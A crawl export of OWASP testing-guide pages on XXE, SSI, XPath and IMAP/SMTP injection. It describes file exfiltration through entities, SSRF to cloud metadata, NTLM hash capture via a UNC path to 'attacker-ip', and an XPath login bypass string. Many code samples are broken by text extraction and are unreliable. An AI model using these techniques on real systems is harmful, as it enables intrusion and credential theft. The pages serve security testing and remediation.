a query parameter - which the tester captures on their listener. Because URLs cannot safely carry arbitrary binary/newline data, this technique is normally limited to single-line, URL-safe text; for binary files or files containing characters that break the URL, testers commonly combine this with a language-specific wrapper (e.g. PHP’s `php://filter/convert.base64-encode/resource=`) to base64-encode the file content before exfiltration, where the target stack supports it.\n\n#### Error-Based Exfiltration via a Remote External DTD\n\nThis variant still requires the target to make one outbound connection (to fetch the tester’s DTD), but unlike the OOB technique above it does not require the attacker’s server to receive a *second* request carrying the data - the file contents are leaked back through the application’s own error response instead of a network callback. This is useful when outbound connections are allowed but the response body from the second exfiltration request would never reach the tester.\n\nDTD hosted at `http:///error.dtd`:\n\n```\n \">\n%eval;\n%error;\n```\n\nPayload:\n\n```\n /error.dtd\">\n %xxe;\n]>\ntest \n```\n\nThe parser fetches the DTD, attempts to resolve a nonexistent path built from the concatenation of the target file’s contents, fails, and - depending on the parser and how verbose the application’s error handling is - throws an exception whose message discloses the attempted (and therefore now file-content-bearing) path. If the application returns raw parser errors in its response, this reveals the file contents directly.\n\n#### Error-Based Exfiltration by Repurposing a Local DTD (Zero Outbound Connectivity)\n\nThe technique above still needs one outbound fetch. If the target environment truly has no outbound connectivity at all (fully egress-filtered), that is not an option either - and a fully *internal* DOCTYPE normally cannot redefine a parameter entity inside another parameter entity’s definition (the XML spec permits this only within external DTDs, and most parsers enforce it).\n\nA reliable workaround is to reference a DTD file that already exists on the target’s own local filesystem as the “external” DTD (loaded via `file://` instead of `http://`), and then redefine one of the entities that DTD already declares. Because the reused DTD is technically still “external” from the parser’s point of view (even though no network access occurs), the parameter-entity-redefinition trick becomes legal again, and the same error-based leak can be triggered with zero outbound connectivity.\n\nThis requires knowing the path of a DTD file that is actually present on the server. Common candidates worth probing for include XML-processing libraries bundled with the application server (application/servlet DTDs shipped inside JARs), and OS-level DTDs such as the GNOME/Yelp documentation DTD on many Linux systems (`/usr/share/yelp/dtd/docbookx.dtd`). A tester can enumerate candidates by submitting a payload that only loads the DTD (without redefining anything) - if the file doesn’t exist, the parser throws a file-not-found error, so a wordlist of known DTD paths can be probed one at a time.\n\nExample, assuming `/usr/local/app/schema.dtd` exists on the target and defines an entity called `custom_entity`:\n\n```\n \">\n %eval;\n %error;\n '>\n %local_dtd;\n]>\n```\n\nNote the redefined value of `custom_entity` is written using numeric character references (`%` for `%`, `&` for `&`, `'` for `'`) rather than the literal characters. This is necessary, not stylistic: the replacement text is itself parsed as DTD markup once substituted in, so a literal `%` or `&` inside it would be expanded immediately instead of surviving intact until the redefinition actually takes effect - the numeric references defer that expansion to the correct stage.\n\nThis loads the local DTD, overrides its `custom_entity` definition with the error-based exfiltration payload, and then invokes `%local_dtd;` so the parser processes the redefined entity - triggering the same file-content-in-error-message leak as above, but without a single byte of network traffic leaving the server. Tools such as the [dtd-finder](https://github.com/GoSecure/dtd-finder) project maintain lists of known DTD file paths (and can scan a filesystem or container image for DTDs actually present) to speed up this search.\n\n### XInclude Attacks\n\nSometimes the tester only controls a single value that is later embedded into a larger, server-generated XML document (for example, a form field that ends up inside a backend SOAP request). In that case the tester cannot control or inject a `` declaration, which rules out the classic entity-based attacks above. **XInclude** is a separate part of the XML specification that lets one XML document pull in content from another source, and it can be triggered from within an ordinary data value - no DOCTYPE required:\n\n```\nproductId=&storeId=1\n```\n\nIf the backend embeds this value into its own XML document unescaped and its parser has XInclude processing enabled, the referenced file’s contents are inlined at that point in the resulting document.\n\n### XXE via File Upload\n\nMany applications accept uploads of file formats that are XML-based or that contain embedded XML parts, even when the upload UI only advertises “documents” or “images.” These are frequently overlooked as injection points because the tester is not interacting with an obvious XML API.\n\n#### SVG\n\nSVG is an XML-based image format. If an application accepts SVG uploads (or accepts arbitrary image formats and happens to process SVG), a crafted SVG file can carry a DOCTYPE with an external entity that is resolved during rendering/processing, and depending on the workflow, the resolved value may even be rendered visibly inside the generated image:\n\n```\n ]>\n &xxe; \n```\n\n#### Office Open XML Documents (DOCX / XLSX / PPTX)\n\nModern office formats are ZIP archives containing multiple XML parts. A tester can unzip a legitimate sample file, inject a DOCTYPE/entity into one of the internal XML parts, and re-zip it, then upload it to any feature that parses or converts the document server-side (preview generation, text extraction, format conversion, etc.).\n\nExample: editing `word/document.xml` inside a `.docx`:\n\n```\n ]>\n &xxe; \n```\n\nThe same approach applies to `xl/workbook.xml` in `.xlsx` files and to the equivalent parts in `.pptx` files. This is a useful check for any endpoint that ingests office documents for indexing, thumbnailing, or conversion - such pipelines are often built on older or loosely-configured XML libraries even when the main application’s own API layer has been hardened.\n\n#### Other XML-Based Formats\n\nTesters should also consider less obvious XML-based formats that an application might accept as input, including XLIFF (translation exchange files), RSS/Atom feeds, SOAP envelopes, and any custom import format documented as “XML” or “based on XML.” Any of these can carry the same DOCTYPE/entity or XInclude payloads shown above.\n\n### Escalating Impact: SSRF and Credential Capture\n\nXXE is not limited to local file disclosure - the same external-entity mechanism is a request-forgery primitive, so testers should assess impact beyond `/etc/passwd`:\n\n- **SSRF to cloud metadata services.** In cloud-hosted targets, pointing an entity at the instance metadata endpoint (e.g. `http://169.254.169.254/...` on AWS) can disclose temporary credentials - but note that AWS’s current default, IMDSv2, requires a `PUT` request plus a custom header to obtain a session token before any `GET` will succeed, and XXE-driven SSRF (via a `SYSTEM` identifier) can typically only issue a plain `GET` . In practice this means a classic XXE->metadata credential grab now mostly only works against older or explicitly misconfigured instances that still have IMDSv1 enabled ( `HttpTokens` not set to `required` ) - check the instance’s metadata options rather than assuming the endpoint is exploitable by default. Azure’s and GCP’s equivalent metadata endpoints similarly require specific headers ( `Metadata: true` / `Metadata-Flavor: Google` ) that a bare `SYSTEM \"http://...\"` entity cannot set, for the same reason. Even where direct credential theft is blocked, reaching the metadata endpoint at all is still useful for confirming SSRF and probing which cloud the target runs on.\n- **Internal network/port scanning.** Differences in response time or error messages between reachable and unreachable internal hosts/ports can be used to map internal network topology through the vulnerable server.\n- **Credential capture via UNC paths (Windows).** On Windows-hosted parsers, pointing an entity at a UNC path ( `file://///attacker-ip/share/x` ) can cause the server to attempt SMB authentication to a tester-controlled listener, leaking the service account’s NTLM hash for offline cracking.\n\nThese impacts should be reflected in how a finding’s severity is scored, per the Test Objectives above - a blind, file-read-only XXE and an XXE that yields cloud credentials are very different findings even though the injection point is identical.\n\n### Filter and WAF Bypass Techniques\n\nIf straightforward ` **Note:** Third-party libraries that process XML-based formats (such as Apache POI for OOXML documents) can also introduce XXE and XEE vulnerabilities. When reviewing code, look for historical vulnerability keywords such as `XSSFExportToXml` or insecure OPC SAX configurations. Always verify the library version against known security advisories (e.g., [Apache POI CVE Details](https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-22766/Apache-POI.html)) rather than assuming they are safe by default.\n\n### C / C++\n\nThe following source code keywords may indicate vulnerable implementations:\n\n- **libxml2:** `xmlCtxtReadMemory` , `xmlCtxtUseOptions` , `xmlParseInNodeContext` , `xmlReadDoc` , `xmlReadFd` , `xmlReadFile` , `xmlReadIO` , `xmlReadMemory` , `xmlCtxtReadDoc` , `xmlCtxtReadFd` , `xmlCtxtReadFile` , `xmlCtxtReadIO`\n- **libxerces-c:** `XercesDOMParser` , `SAXParser` , `SAX2XMLReader`\n\n### Python\n\nThe following packages and functions should be reviewed:\n\n- `xml.etree.ElementTree` and `xml.dom.minidom` : While these do not expand external entities by default in current CPython versions, they can still be susceptible to entity-expansion-style Denial of Service (DoS) and other edge cases.\n- `lxml` : Check if the parser is explicitly instantiated with `resolve_entities=True` (and `no_network=False` ), which enables XXE.\n- **Recommendation:** `defusedxml` is the standard drop-in replacement for standard-library XML modules to uniformly mitigate XXE and DoS risks.\n\n### Node.js / JavaScript\n\nLook for legacy or loosely configured libraries:\n\n- `libxmljs` : External entity substitution is off by default; look for an explicit `{ noent: true }` option, which re-enables it.\n- `xml2js` : This library relies on pure JavaScript parsers like `sax-js` under the hood. While it does not resolve external entities by default, it can be vulnerable to DoS attacks. Check if the `strict` option is explicitly set to `false` .\n- `xml2json` : This module uses `node-expat` (C/C++ bindings to the Expat parser) under the hood. While Expat is generally safe from classic file-disclosure XXE out of the box, it can be susceptible to XML Entity Expansion (DoS) if not explicitly restricted.\n- `xmldom` : Review for any explicit entity-resolution configurations, as its default behaviors and capabilities have historically varied across versions.\n\n## Remediation\n\nThe most reliable fix for XXE-class issues is to remove the parser’s ability to resolve external resources at all, rather than trying to filter or sanitize XML input. General principles, in order of priority:\n\n- **Disable DTD processing entirely** wherever the application does not have a genuine business need for it. Most application XML (API payloads, config uploads, form submissions converted to XML) never legitimately needs a DOCTYPE.\n- If DTDs cannot be disabled outright, **disable resolution of external general and parameter entities** , and **disable XInclude processing** - these are usually separate flags from the DTD toggle, so turning one off does not guarantee the other is off.\n- Prefer parser APIs/configuration flags described as “secure processing” where available, but verify what that flag actually covers for the specific parser/version in use rather than assuming it disables everything above.\n- Apply this configuration to **every** parser instantiation in the codebase and its dependencies, not just the main API layer - file upload handling, document conversion/preview generation, import/export jobs, SOAP clients, and third-party libraries each create their own parser instances and must be checked independently.\n- Where external entities are a genuine requirement, implement a strict **allow-list** of permitted URIs/schemes rather than relying on a **block-list** (deny-list) for dangerous protocols like `file://` , `ftp://` , etc.\n- Apply defense in depth: run XML-parsing processes with least privilege (no access to sensitive files, no outbound network access where not required), and keep XML libraries patched, since parser-level defaults and known bypasses change between versions.\n\nQuick reference by ecosystem (verify against current documentation for the exact library/version in use, since defaults have changed over time and vary by library):\n\n- **Java** : set `DocumentBuilderFactory` / `SAXParserFactory` / `XMLInputFactory` / `TransformerFactory` (and `Xerces` -based parsers) to disable DOCTYPE declarations, external general/parameter entities, and XInclude.\n- **.NET** : use `XmlReaderSettings` with `DtdProcessing` set to `Prohibit` and `XmlResolver` set to `null` (or a restrictive custom resolver).\n- **Python** : prefer a hardened parsing library (e.g. `defusedxml` ) instead of the standard library’s XML modules directly; for `lxml` , explicitly leave `resolve_entities` at its safe default (or set it to `False` ) and avoid enabling network access on the parser.\n- **PHP** : on PHP 8.0+, `libxml_disable_entity_loader()` is deprecated and largely unnecessary - PHP now requires libxml >= 2.9.0, which disables external entity substitution by default, so a stock `DOMDocument` / `SimpleXML` / `libxml` -based parse on a current PHP version is not exploitable via the classic entity route unless the code explicitly re-enables it (e.g. via `LIBXML_NOENT` combined with `LIBXML_DTDLOAD` ). Testers should therefore check for explicit opt-back-in flags on modern PHP rather than assuming the framework needs a disable call; on PHP < 8.0 with older libxml, the disable call is still required. Either way, treat file-upload/document-conversion features that call third-party libraries separately, since those may bundle their own, differently-configured parser.\n- **Node.js** : for `libxmljs` -based parsing, never set `noent: true` on untrusted input; prefer omitting the option (or setting it `false` ) and pair with `nonet: true` to also block network-based entity resolution.\n- **C/C++ (libxml2)** : avoid the options that enable network/entity loading (e.g. `XML_PARSE_NOENT` , `XML_PARSE_DTDLOAD` ) unless explicitly required.\n\nFor authoritative, parser-specific configuration snippets, defer to the [XML External Entity (XXE) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html), which is maintained separately and updated as parser behavior changes.\n\n## Tools\n\n- [XML Injection Fuzz Strings (from wfuzz tool)](https://github.com/xmendez/wfuzz/blob/master/wordlist/Injections/XML.txt)\n- [dtd-finder](https://github.com/GoSecure/dtd-finder) - a list of known local DTD file paths, plus a scanner that can enumerate DTDs present on a filesystem or inside a container/Docker image, useful for the local-DTD-repurposing technique above.\n\n## References\n\n- [XML Injection](https://www.whitehatsec.com/glossary/content/xml-injection)\n- [Gregory Steuck, “XXE (XML eXternal Entity) attack”](https://seclists.org/bugtraq/2002/Oct/420)\n- [OWASP XXE Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n- [PortSwigger Web Security Academy – XML External Entity (XXE) Injection](https://portswigger.net/web-security/xxe)\n- [PortSwigger Web Security Academy – Blind XXE](https://portswigger.net/web-security/xxe/blind)\n- [HackTricks – XXE / XEE](https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 34103, "slov": 4960, "odkazu": 209, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:53:26", "sha256": "2bdb28e58a020c6e50d6cc628ac02d33c319b4f44a783fdddbd490b325fec540", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/GoSecure/dtd-finder", "https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html", "https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-22766/Apache-POI.html", "https://github.com/xmendez/wfuzz/blob/master/wordlist/Injections/XML.txt", "https://www.whitehatsec.com/glossary/content/xml-injection", "https://seclists.org/bugtraq/2002/Oct/420", "https://portswigger.net/web-security/xxe", "https://portswigger.net/web-security/xxe/blind", "https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/08-SSI_Injection", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/08-SSI_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/08-SSI_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "SSI Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# SSI Injection\n\n| ID |\n| --- |\n| WSTG-INJT-08 |\n\n## Summary\n\nWeb servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is provided by [Server-Side Includes](https://owasp.org/www-community/attacks/Server-Side_Includes_%28SSI%29_Injection) (SSI).\n\nServer-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side scripting languages, when there’s only need to perform very simple tasks. Common SSI implementations provide directives (commands) to include external files, to set and print web server CGI environment variables, or to execute external CGI scripts or system commands.\n\nSSI can lead to a Remote Command Execution (RCE), however most webservers have the `exec` directive disabled by default.\n\nThis is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands.\n\n## Test Objectives\n\n- Identify SSI injection points.\n- Assess the severity of the injection.\n\n## How to Test\n\nTo test for exploitable SSI, inject SSI directives as user input. If SSI are enabled and user input validation has not been properly implemented, the server will execute the directive. This is very similar to a classical scripting language injection vulnerability in that it occurs when user input is not properly validated and sanitized.\n\nFirst determine if the web server supports SSI directives. Often, the answer is yes, as SSI support is quite common. To determine if SSI directives are supported, discover the type of web server that the target is running using information gathering techniques (see [Fingerprint Web Server](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server)). If you have access to the code, determine if SSI directives are used by searching through the webserver configuration files for specific keywords.\n\nAnother way of verifying that SSI directives are enabled is by checking for pages with the `.shtml` extension, which is associated with SSI directives. The use of the `.shtml` extension is not mandatory, so not having found any `.shtml` files doesn’t necessarily mean that the target is not vulnerable to SSI injection attacks.\n\nThe next step is determining all the possible user input vectors and testing to see if the SSI injection is exploitable.\n\nFirst find all the pages where user input is allowed. Possible input vectors may also include headers and cookies. Determine how the input is stored and used, i.e if the input is returned as an error message or page element and if it was modified in some way. Access to the source code can help you to more easily determine where the input vectors are and how input is handled.\n\nOnce you have a list of potential injection points, you may determine if the input is correctly validated. Ensure it is possible to inject characters used in SSI directives such as `` and `[a-zA-Z0-9]`\n\nThe below example returns the value of the variable. The references section has helpful links with server-specific documentation to help you better assess a particular system.\n\n```\n \n```\n\nWhen using the `include` directive, if the supplied file is a CGI script, this directive will include the output of the CGI script. This directive may also be used to include the content of a file or list files in a directory:\n\n```\n \n```\n\nTo return the output of a system command:\n\n```\n \n```\n\nIf the application is vulnerable, the directive is injected and it would be interpreted by the server the next time the page is served.\n\nThe SSI directives can also be injected in the HTTP headers, if the web application is using that data to build a dynamically generated page:\n\n```\nGET / HTTP/1.1\nHost: www.example.com\nReferer: \nUser-Agent: \n```\n\n## Tools\n\n- [Web Proxy Burp Suite](https://portswigger.net/burp/communitydownload)\n- [ZAP](https://www.zaproxy.org/)\n- [String searcher: grep](https://www.gnu.org/software/grep)\n\n## References\n\n- [Nginx SSI module](https://nginx.org/en/docs/http/ngx_http_ssi_module.html)\n- [Apache: Module mod_include](https://httpd.apache.org/docs/current/mod/mod_include.html)\n- [IIS: Server-Side Includes directives](https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525185%28v=vs.90%29)\n- [Apache Tutorial: Introduction to Server-Side Includes](https://httpd.apache.org/docs/current/howto/ssi.html)\n- [Apache: Security Tips for Server Configuration](https://httpd.apache.org/docs/current/misc/security_tips.html#ssi)\n- [SSI Injection instead of JavaScript Malware](https://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html)\n- [Header Based Exploitation](https://www.cgisecurity.com/papers/header-based-exploitation.txt)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5369, "slov": 738, "odkazu": 212, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:53:28", "sha256": "e0695a7e7046c99fa52d1626e1eeab3d2f5eae4260af9acd60d0bfa1f6ddd00e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://portswigger.net/burp/communitydownload", "https://www.zaproxy.org/", "https://www.gnu.org/software/grep", "https://nginx.org/en/docs/http/ngx_http_ssi_module.html", "https://httpd.apache.org/docs/current/mod/mod_include.html", "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525185(v=vs.90)", "https://httpd.apache.org/docs/current/howto/ssi.html", "https://httpd.apache.org/docs/current/misc/security_tips.html", "https://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html", "https://www.cgisecurity.com/papers/header-based-exploitation.txt", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/09-XPath_Injection", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/09-XPath_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/09-XPath_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "XPath Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - Latest\n\n# XPath Injection\n\n| ID |\n| --- |\n| WSTG-INJT-09 |\n\n## Summary\n\nXPath is a language that has been designed and developed primarily to address parts of an XML document. In XPath injection testing, we test if it is possible to inject XPath syntax into a request interpreted by the application, allowing an attacker to execute user-controlled XPath queries. When successfully exploited, this vulnerability may allow an attacker to bypass authentication mechanisms or access information without proper authorization.\n\nWeb applications heavily use databases to store and access the data they need for their operations. Historically, relational databases have been by far the most common technology for data storage, but, in the last years, we are witnessing an increasing popularity for databases that organize data using the XML language. Just like relational databases are accessed via SQL language, XML databases use XPath as their standard query language.\n\nSince, from a conceptual point of view, XPath is very similar to SQL in its purpose and applications, an interesting result is that XPath injection attacks follow the same logic as [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) attacks. In some aspects, XPath is even more powerful than standard SQL, as its whole power is already present in its specifications, whereas a large number of the techniques that can be used in a SQL Injection attack depend on the characteristics of the SQL dialect used by the target database. This means that XPath injection attacks can be much more adaptable and ubiquitous. Another advantage of an XPath injection attack is that, unlike SQL, no ACLs are enforced, as our query can access every part of the XML document.\n\n## Test Objectives\n\n- Identify XPATH injection points.\n\n## How to Test\n\nThe [XPath attack pattern was first published by Amit Klein](https://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf) and is very similar to the usual SQL Injection. In order to get a first grasp of the problem, let’s imagine a login page that manages the authentication to an application in which the user must enter their username and password. Let’s assume that our database is represented by the following XML file:\n\n```\n gandalf !c3 admin Stefan0 w1s3c guest tony Un6R34kb!e guest \n```\n\nAn XPath query that returns the account whose username is `gandalf` and the password is `!c3` would be the following:\n\n`string(//user[username/text()='gandalf' and password/text()='!c3']/account/text())`\n\nIf the application does not properly filter user input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:\n\n```\nUsername: ' or '1' = '1\nPassword: ' or '1' = '1\n```\n\nUsing these parameters, the query becomes:\n\n`string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text())`\n\nAs in a common SQL Injection attack, we have created a query that always evaluates to true, which means that the application will authenticate the user even if a username or a password have not been provided. And as in a common SQL Injection attack, with XPath injection, the first step is to insert a single quote (`'`) in the field to be tested, introducing a syntax error in the query, and to check whether the application returns an error message.\n\nIf there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us reconstruct its internal logic, it is possible to perform a [Blind XPath Injection](https://owasp.org/www-community/attacks/Blind_XPath_Injection) attack, whose goal is to reconstruct the whole data structure. The technique is similar to inference based SQL Injection, as the approach is to inject code that creates a query that returns one bit of information. [Blind XPath Injection](https://owasp.org/www-community/attacks/Blind_XPath_Injection) is explained in more detail by Amit Klein in the referenced paper.\n\n## References\n\n### Whitepapers\n\n- [Amit Klein: “Blind XPath Injection”](https://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf)\n- [XPath 1.0 specifications](https://www.w3.org/TR/1999/REC-xpath-19991116/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 4586, "slov": 643, "odkazu": 204, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:53:31", "sha256": "2f608642b822dce20770c478f5aabda56a6b9d1ea3c2e666eb694e716b672e4f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf", "https://www.w3.org/TR/1999/REC-xpath-19991116/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/10-IMAP_SMTP_Injection", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/10-IMAP_SMTP_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/10-IMAP_SMTP_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "IMAP SMTP Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Identifying Vulnerable Parameters"}, {"uroven": 3, "text": "Understanding the Data Flow and Deployment Structure of the Client"}, {"uroven": 3, "text": "IMAP/SMTP Command Injection"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - Latest\n\n# IMAP SMTP Injection\n\n| ID |\n| --- |\n| WSTG-INJT-10 |\n\n## Summary\n\nThis threat affects all applications that communicate with mail servers (IMAP/SMTP), generally webmail applications. The aim of this test is to verify the capacity to inject arbitrary IMAP/SMTP commands into the mail servers, due to input data not being properly sanitized.\n\nThe IMAP/SMTP Injection technique is more effective if the mail server is not directly accessible from Internet. Where full communication with the backend mail server is possible, it is recommended to conduct direct testing.\n\nAn IMAP/SMTP Injection makes it possible to access a mail server which otherwise would not be directly accessible from the Internet. In some cases, these internal systems do not have the same level of infrastructure security and hardening that is applied to the front-end web servers. Therefore, mail server results may be more vulnerable to attacks by end users (see the scheme presented in Figure 1).\n\n*Figure 4.7.10-1: Communication with the mail servers using the IMAP/SMTP Injection technique*\n\nFigure 1 depicts the flow of traffic generally seen when using webmail technologies. Step 1 and 2 is the user interacting with the webmail client, whereas step 2 is the tester bypassing the webmail client and interacting with the back-end mail servers directly.\n\nThis technique allows a wide variety of actions and attacks. The possibilities depend on the type and scope of injection and the mail server technology being tested.\n\nSome examples of attacks using the IMAP/SMTP Injection technique are:\n\n- Exploitation of vulnerabilities in the IMAP/SMTP protocol\n- Application restrictions evasion\n- Anti-automation process evasion\n- Information leaks\n- Relay/SPAM\n\n## Test Objectives\n\n- Identify IMAP/SMTP injection points.\n- Understand the data flow and deployment structure of the system.\n- Assess the injection impacts.\n\n## How to Test\n\n### Identifying Vulnerable Parameters\n\nIn order to detect vulnerable parameters, the tester has to analyze the application’s ability in handling input. Input validation testing requires the tester to send bogus, or malicious, requests to the server and analyse the response. In a secure application, the response should be an error with some corresponding action telling the client that something has gone wrong. In a vulnerable application, the malicious request may be processed by the back-end application that will answer with a `HTTP 200 OK` response message.\n\nIt is important to note that the requests being sent should match the technology being tested. Sending SQL injection strings for Microsoft SQL server when a MySQL server is being used will result in false positive responses. In this case, sending malicious IMAP commands is modus operandi since IMAP is the underlying protocol being tested.\n\nIMAP special parameters that should be used are:\n\n| On the IMAP server | On the SMTP server |\n| --- | --- |\n| Authentication | Emissor email |\n| operations with mail boxes (list, read, create, delete, rename) | Destination email |\n| operations with messages (read, copy, move, delete) | Subject |\n| Disconnection | Message body |\n| | Attached files |\n\nIn this example, the “mailbox” parameter is being tested by manipulating all requests with the parameter in:\n\n`https:///src/read_body.php?mailbox=INBOX&passed_id=46106&startMessage=1`\n\nThe following examples can be used.\n\n- Assign a null value to the parameter:\n\n`https:///src/read_body.php?mailbox=&passed_id=46106&startMessage=1`\n\n- Substitute the value with a random value:\n\n`https:///src/read_body.php?mailbox=NOTEXIST&passed_id=46106&startMessage=1`\n\n- Add other values to the parameter:\n\n`https:///src/read_body.php?mailbox=INBOX PARAMETER2&passed_id=46106&startMessage=1`\n\n- Add non-standard special characters (i.e.: `\\` , `'` , `\"` , `@` , `#` , `!` , `|` ):\n\n`https:///src/read_body.php?mailbox=INBOX\"&passed_id=46106&startMessage=1`\n\n- Eliminate the 